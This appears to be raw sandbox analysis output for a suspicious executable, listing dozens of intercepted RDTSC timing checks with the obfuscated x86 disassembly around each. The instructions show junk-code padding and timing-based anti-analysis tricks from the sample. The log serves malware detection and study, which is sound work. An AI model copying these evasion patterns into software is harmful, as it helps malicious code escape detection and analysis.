Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1060D second address: 4D10693 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FFB34C126C9h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FFB34C126BEh 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007FFB34C126BDh 0x00000022 adc ecx, 762D25C6h 0x00000028 jmp 00007FFB34C126C1h 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007FFB34C126C0h 0x00000034 and ch, 00000068h 0x00000037 jmp 00007FFB34C126BBh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10693 second address: 4D1077A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, dh 0x00000005 pushfd 0x00000006 jmp 00007FFB34E3B6D0h 0x0000000b add ecx, 446FD0C8h 0x00000011 jmp 00007FFB34E3B6CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ecx 0x0000001b pushad 0x0000001c movzx ecx, di 0x0000001f pushfd 0x00000020 jmp 00007FFB34E3B6D1h 0x00000025 add ecx, 0B4F41E6h 0x0000002b jmp 00007FFB34E3B6D1h 0x00000030 popfd 0x00000031 popad 0x00000032 push eax 0x00000033 jmp 00007FFB34E3B6D1h 0x00000038 xchg eax, ecx 0x00000039 jmp 00007FFB34E3B6CEh 0x0000003e mov eax, dword ptr [76FB65FCh] 0x00000043 jmp 00007FFB34E3B6D0h 0x00000048 test eax, eax 0x0000004a pushad 0x0000004b mov di, si 0x0000004e mov ebx, eax 0x00000050 popad 0x00000051 je 00007FFBA705E8FFh 0x00000057 jmp 00007FFB34E3B6D4h 0x0000005c mov ecx, eax 0x0000005e jmp 00007FFB34E3B6D0h 0x00000063 xor eax, dword ptr [ebp+08h] 0x00000066 jmp 00007FFB34E3B6D1h 0x0000006b and ecx, 1Fh 0x0000006e push eax 0x0000006f push edx 0x00000070 pushad 0x00000071 push edx 0x00000072 pop esi 0x00000073 mov dx, 4F4Ah 0x00000077 popad 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1077A second address: 4D1079F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, dx 0x00000006 call 00007FFB34C126C3h 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f ror eax, cl 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1079F second address: 4D107A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107A3 second address: 4D107B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D107B3 second address: 4D1083A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007FFB34E3B6CDh 0x0000000c xor al, FFFFFFD6h 0x0000000f jmp 00007FFB34E3B6D1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 leave 0x00000019 pushad 0x0000001a mov edi, esi 0x0000001c push esi 0x0000001d pushfd 0x0000001e jmp 00007FFB34E3B6CFh 0x00000023 sub cl, 0000000Eh 0x00000026 jmp 00007FFB34E3B6D9h 0x0000002b popfd 0x0000002c pop esi 0x0000002d popad 0x0000002e retn 0004h 0x00000031 nop 0x00000032 mov esi, eax 0x00000034 lea eax, dword ptr [ebp-08h] 0x00000037 xor esi, dword ptr [00E02014h] 0x0000003d push eax 0x0000003e push eax 0x0000003f push eax 0x00000040 lea eax, dword ptr [ebp-10h] 0x00000043 push eax 0x00000044 call 00007FFB38D8BE1Ch 0x00000049 push FFFFFFFEh 0x0000004b jmp 00007FFB34E3B6D7h 0x00000050 pop eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push ebx 0x00000055 pop esi 0x00000056 mov dx, 3282h 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1083A second address: 4D10908 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ret 0x0000000a nop 0x0000000b push eax 0x0000000c call 00007FFB38B62E46h 0x00000011 mov edi, edi 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007FFB34C126BEh 0x0000001a sbb eax, 0F874D48h 0x00000020 jmp 00007FFB34C126BBh 0x00000025 popfd 0x00000026 mov si, 4CBFh 0x0000002a popad 0x0000002b xchg eax, ebp 0x0000002c pushad 0x0000002d jmp 00007FFB34C126C0h 0x00000032 pushfd 0x00000033 jmp 00007FFB34C126C2h 0x00000038 add ecx, 5C3DB2D8h 0x0000003e jmp 00007FFB34C126BBh 0x00000043 popfd 0x00000044 popad 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 pushfd 0x0000004a jmp 00007FFB34C126C2h 0x0000004f jmp 00007FFB34C126C5h 0x00000054 popfd 0x00000055 pushfd 0x00000056 jmp 00007FFB34C126C0h 0x0000005b add si, F798h 0x00000060 jmp 00007FFB34C126BBh 0x00000065 popfd 0x00000066 popad 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC001F second address: 4CC002E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC002E second address: 4CC0034 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0034 second address: 4CC004C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC004C second address: 4CC005E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC005E second address: 4CC0064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0064 second address: 4CC0072 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0072 second address: 4CC0110 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFB34E3B6CBh 0x00000008 add ax, 17DEh 0x0000000d jmp 00007FFB34E3B6D9h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 mov dx, si 0x00000019 pushfd 0x0000001a jmp 00007FFB34E3B6CAh 0x0000001f xor si, 5FD8h 0x00000024 jmp 00007FFB34E3B6CBh 0x00000029 popfd 0x0000002a popad 0x0000002b popad 0x0000002c mov ebp, esp 0x0000002e jmp 00007FFB34E3B6D6h 0x00000033 and esp, FFFFFFF8h 0x00000036 jmp 00007FFB34E3B6D0h 0x0000003b xchg eax, ecx 0x0000003c jmp 00007FFB34E3B6D0h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007FFB34E3B6CEh 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0110 second address: 4CC0130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FFB34C126BBh 0x00000012 pop ecx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0130 second address: 4CC0136 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0136 second address: 4CC0154 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ch, bh 0x00000011 mov esi, 292710A5h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0154 second address: 4CC01AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edx, cx 0x0000000e popad 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FFB34E3B6D3h 0x00000017 jmp 00007FFB34E3B6D3h 0x0000001c popfd 0x0000001d mov ebx, esi 0x0000001f popad 0x00000020 mov ebx, dword ptr [ebp+10h] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FFB34E3B6D1h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01AC second address: 4CC01D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FFB34C126BDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01D1 second address: 4CC01ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01ED second address: 4CC01F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01F1 second address: 4CC01F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01F5 second address: 4CC01FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC01FB second address: 4CC0201 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0201 second address: 4CC0210 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0210 second address: 4CC0221 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0221 second address: 4CC0225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0225 second address: 4CC0233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0233 second address: 4CC0246 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 20A5B6C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dh, 77h 0x0000000b popad 0x0000000c xchg eax, edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0246 second address: 4CC024A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC024A second address: 4CC0250 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0250 second address: 4CC0267 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0267 second address: 4CC02B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FFB34C126C4h 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 movzx ecx, dx 0x00000013 jmp 00007FFB34C126C3h 0x00000018 popad 0x00000019 test esi, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FFB34C126C5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02B6 second address: 4CC02C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34E3B6CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02C6 second address: 4CC02EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FFBA6E809F4h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FFB34C126BBh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC02EC second address: 4CC0303 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FFB34E3B6D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0303 second address: 4CC0342 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000e pushad 0x0000000f mov eax, 1DBF0833h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FFB34C126C6h 0x0000001c adc eax, 157DD038h 0x00000022 jmp 00007FFB34C126BBh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0342 second address: 4CC039F instructions: 0x00000000 rdtsc 0x00000002 mov esi, 364AE66Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a je 00007FFBA70A99A5h 0x00000010 jmp 00007FFB34E3B6D2h 0x00000015 mov edx, dword ptr [esi+44h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007FFB34E3B6CDh 0x00000021 and cl, FFFFFF86h 0x00000024 jmp 00007FFB34E3B6D1h 0x00000029 popfd 0x0000002a call 00007FFB34E3B6D0h 0x0000002f pop eax 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC039F second address: 4CC03CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FFB34C126C7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC03CF second address: 4CC0417 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 movsx edx, cx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test edx, 61000000h 0x00000011 pushad 0x00000012 pushad 0x00000013 push esi 0x00000014 pop edi 0x00000015 push esi 0x00000016 pop edx 0x00000017 popad 0x00000018 mov ebx, esi 0x0000001a popad 0x0000001b jne 00007FFBA70A9964h 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 movsx ebx, si 0x00000027 pushfd 0x00000028 jmp 00007FFB34E3B6CEh 0x0000002d sub cx, 3348h 0x00000032 jmp 00007FFB34E3B6CBh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0417 second address: 4CC042F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFB34C126C4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC042F second address: 4CC0433 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0433 second address: 4CC0495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFB34C126BDh 0x00000013 and eax, 29303716h 0x00000019 jmp 00007FFB34C126C1h 0x0000001e popfd 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FFB34C126BEh 0x00000026 sbb cx, E338h 0x0000002b jmp 00007FFB34C126BBh 0x00000030 popfd 0x00000031 popad 0x00000032 popad 0x00000033 jne 00007FFBA6E808CEh 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0495 second address: 4CC049B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB081C second address: 4CB0822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0822 second address: 4CB084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov edx, 5D89DC2Ch 0x00000011 call 00007FFB34E3B6D5h 0x00000016 pop esi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB084A second address: 4CB08CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov ebx, ecx 0x0000000f mov bx, ax 0x00000012 popad 0x00000013 mov ebp, esp 0x00000015 jmp 00007FFB34C126C4h 0x0000001a and esp, FFFFFFF8h 0x0000001d pushad 0x0000001e call 00007FFB34C126BEh 0x00000023 call 00007FFB34C126C2h 0x00000028 pop ecx 0x00000029 pop edx 0x0000002a pushfd 0x0000002b jmp 00007FFB34C126C0h 0x00000030 xor eax, 6EEAC568h 0x00000036 jmp 00007FFB34C126BBh 0x0000003b popfd 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB08CD second address: 4CB08D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB08D1 second address: 4CB08D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB08D5 second address: 4CB08DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB08DB second address: 4CB099C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FFB34C126C1h 0x00000011 sbb ecx, 44087E36h 0x00000017 jmp 00007FFB34C126C1h 0x0000001c popfd 0x0000001d jmp 00007FFB34C126C0h 0x00000022 popad 0x00000023 xchg eax, ebx 0x00000024 jmp 00007FFB34C126C0h 0x00000029 xchg eax, esi 0x0000002a pushad 0x0000002b mov ax, dx 0x0000002e popad 0x0000002f push eax 0x00000030 pushad 0x00000031 mov si, 7A1Bh 0x00000035 mov edi, ecx 0x00000037 popad 0x00000038 xchg eax, esi 0x00000039 jmp 00007FFB34C126BAh 0x0000003e mov esi, dword ptr [ebp+08h] 0x00000041 jmp 00007FFB34C126C0h 0x00000046 sub ebx, ebx 0x00000048 pushad 0x00000049 mov eax, ebx 0x0000004b call 00007FFB34C126C3h 0x00000050 movzx esi, di 0x00000053 pop ebx 0x00000054 popad 0x00000055 test esi, esi 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FFB34C126C7h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB099C second address: 4CB09CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FFBA70B109Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFB34E3B6CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09CE second address: 4CB0A23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 pushad 0x00000011 mov si, 1503h 0x00000015 jmp 00007FFB34C126C8h 0x0000001a popad 0x0000001b mov ecx, esi 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FFB34C126C7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A23 second address: 4CB0A55 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FFBA70B1029h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FFB34E3B6CDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A55 second address: 4CB0AB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FB6968h], 00000002h 0x00000010 jmp 00007FFB34C126BEh 0x00000015 jne 00007FFBA6E87FEDh 0x0000001b jmp 00007FFB34C126C0h 0x00000020 mov edx, dword ptr [ebp+0Ch] 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FFB34C126C7h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AB1 second address: 4CB0AB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AB7 second address: 4CB0ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0ABB second address: 4CB0AE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34E3B6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFB34E3B6D0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AE1 second address: 4CB0AE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AE5 second address: 4CB0AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AEB second address: 4CB0AF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AF1 second address: 4CB0AF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0AF5 second address: 4CB0B9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFB34C126C8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FFB34C126BDh 0x00000012 popad 0x00000013 xchg eax, ebx 0x00000014 jmp 00007FFB34C126BEh 0x00000019 xchg eax, ebx 0x0000001a jmp 00007FFB34C126C0h 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FFB34C126C1h 0x00000027 sbb eax, 562C1436h 0x0000002d jmp 00007FFB34C126C1h 0x00000032 popfd 0x00000033 call 00007FFB34C126C0h 0x00000038 push esi 0x00000039 pop edi 0x0000003a pop esi 0x0000003b popad 0x0000003c xchg eax, ebx 0x0000003d jmp 00007FFB34C126BDh 0x00000042 push dword ptr [ebp+14h] 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B9A second address: 4CB0B9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0B9E second address: 4CB0BA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
